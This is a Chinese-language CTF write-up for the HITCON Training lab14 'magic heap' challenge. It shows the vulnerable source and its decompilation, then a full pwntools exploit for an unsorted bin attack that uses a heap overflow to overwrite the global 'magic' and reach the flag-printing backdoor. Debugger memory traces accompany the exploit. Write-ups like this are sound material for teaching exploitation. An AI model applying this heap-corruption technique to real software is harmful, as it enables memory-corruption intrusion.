HITCON Training lab14 magic heap
unsortedbin_attack(例题)
查看保护
Snipaste_2023-09-13_21-07-19.png
文件没开PIE,got表可写,开启了Canary和NX保护,64位程序。
程序源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void read_input(char *buf, size_t size) { int ret; ret = read(0, buf, size); if (ret <= 0) { puts("Error"); _exit(-1); } }
char *heaparray[10]; unsigned long int magic = 0;
void menu() { puts("--------------------------------"); puts(" Magic Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Delete a Heap "); puts(" 4. Exit "); puts("--------------------------------"); printf("Your choice :"); }
void create_heap() { int i; char buf[8]; size_t size = 0; for (i = 0; i < 10; i++) { if (!heaparray[i]) { printf("Size of Heap : "); read(0, buf, 8); size = atoi(buf); heaparray[i] = (char *)malloc(size); if (!heaparray[i]) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input(heaparray[i], size); puts("SuccessFul"); break; } } }
void edit_heap() { int idx; char buf[4]; size_t size; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= 10) { puts("Out of bound!"); _exit(0); } if (heaparray[idx]) { printf("Size of Heap : "); read(0, buf, 8); size = atoi(buf); printf("Content of heap : "); read_input(heaparray[idx], size); puts("Done !"); } else { puts("No such heap !"); } }
void delete_heap() { int idx; char buf[4]; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= 10) { puts("Out of bound!"); _exit(0); } if (heaparray[idx]) { free(heaparray[idx]); heaparray[idx] = NULL; puts("Done !"); } else { puts("No such heap !"); } }
void l33t() { system("cat ./flag"); }
int main() { char buf[8]; setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while (1) { menu(); read(0, buf, 8); switch (atoi(buf)) { case 1: create_heap(); break; case 2: edit_heap(); break; case 3: delete_heap(); break; case 4: exit(0); break; case 4869: if (magic > 4869) { puts("Congrt !"); l33t(); } else puts("So sad !"); break; default: puts("Invalid Choice"); break; } } return 0; }
|
IDA静态分析
main 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; char buf[8]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 3 ) break; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 4869 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } } else { LABEL_17: puts("Invalid Choice"); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
|
看一看就行,接下来看具体函数功能
l33t 存在后门函数
1 2 3 4
| int l33t() { return system("cat /home/magicheap/flag"); }
|
全局变量
1 2 3 4 5 6 7 8 9
| .bss:00000000006020B9 align 20h .bss:00000000006020C0 public magic .bss:00000000006020C0 ; __int64 magic .bss:00000000006020C0 magic dq ? ; DATA XREF: main:loc_400D05↑r .bss:00000000006020C8 align 20h .bss:00000000006020E0 public heaparray .bss:00000000006020E0 ; heap *heaparray[10] .bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r .bss:00000000006020E0 ; create_heap+8C↑w ...
|
magic :00000000006020C0
heap_ptr :00000000006020E0
meau函数
1 2 3 4 5 6 7 8 9 10 11 12
| int menu() { puts("--------------------------------"); puts(" Magic Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Delete a Heap "); puts(" 4. Exit "); puts("--------------------------------"); return printf("Your choice :"); }
|
打印菜单
create函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| unsigned __int64 create_heap() { int i; size_t size; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { printf("Size of Heap : "); read(0, buf, 8uLL); size = atoi(buf); heaparray[i] = (heap *)malloc(size); if ( !heaparray[i] ) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input(heaparray[i], size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
|
输入大小,创建相应大小的堆
edit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 edit_heap() { unsigned int v1; size_t v2; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(heaparray[v1], v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
|
重新输入大小,更新内容,大小由我们定,存在堆溢出哦!!!
delete函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 delete_heap() { unsigned int v1; char buf[8]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { free(heaparray[v1]); heaparray[v1] = 0LL; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
正常free操作,指针清0,不存在uaf
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
|
from pwn import * context.log_level = 'debug' p = process('./magicheap') p = remote('node4.buuoj.cn',29691)
def create(size, content): p.recvuntil(":") p.sendline("1") p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(content)
def edit(idx, size, content): p.recvuntil(":") p.sendline("2") p.recvuntil(":") p.sendline(str(idx)) p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(content)
def delete(idx): p.recvuntil(":") p.sendline("3") p.recvuntil(":") p.sendline(str(idx))
def debug(): gdb.attach(p) pause()
heap_ptr = 0x6020E0 magic = 0x6020C0 goal = magic - 0x10
create(0x10,'a'*8) create(0x410,'b'*8)
create(500,'c'*8)
delete(1)
payload = p64(0)*3 + p64(0x421) + p64(0) + p64(goal) edit(0,len(payload),payload)
create(0x410,"666")
p.sendline("4869") p.interactive()
|
创建两个chunk
1 2 3 4
| 0x1a65000: 0x0000000000000000 0x0000000000000021 0x1a65010: 0x6161616161616161 0x000000000000000a 0x1a65020: 0x0000000000000000 0x0000000000000421 0x1a65030: 0x6262626262626262 0x000000000000000a
|
申请的 chunk(500) 以防止合并
1 2
| 0x1a65440: 0x0000000000000000 0x0000000000000201 0x1a65450: 0x6363636363636363 0x000000000000000a
|
free掉small chunk,被放入到 unsorted bin 中
1 2 3 4
| 0x1a65000: 0x0000000000000000 0x0000000000000021 0x1a65010: 0x6161616161616161 0x000000000000000a 0x1a65020: 0x0000000000000000 0x0000000000000421 0x1a65030: 0x00007f9bd595bb78 0x00007f9bd595bb78
|
1 2
| unsortedbin all: 0x1a65020 —▸ 0x7f9bd595bb78 (main_arena+88) ◂— 0x1a65020
|
被放入unsorted bin 中
观察全局变量
1 2 3 4 5
| 0x6020c0 <magic>: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0 <heaparray>: 0x0000000001a65010 0x0000000000000000 #chunk1已经被free掉 0x6020f0 <heaparray+16>: 0x0000000001a65450 0x0000000000000000
|
溢出到目的位置
通过对chunk 0 进行溢出 修改 chunk1 的 bk 指针,到magic-0x10的位置
1 2 3 4 5
| pwndbg> x/16gx 0x1a65000 0x1a65000: 0x0000000000000000 0x0000000000000021 0x1a65010: 0x0000000000000000 0x0000000000000000 0x1a65020: 0x0000000000000000 0x0000000000000421 0x1a65030: 0x0000000000000000 0x00000000006020b0
|
再申请一个 大小大于 small chunk 且 小与刚刚 释放的chunk 的大小的 chunk
1 2
| 0x6020b0 <stdin@@GLIBC_2.2.5>: 0x00007f9bd595b8e0 0x0000000000000000 0x6020c0 <magic>: 0x00007f9bd595bb78 0x0000000000000000
|
可以看到magic 已经被改成了0x00007f9bd595bb78,这个值是main_arena+88
最后我们输入 4869 就可以打印flag 了
flag{unsorted_bin_attack}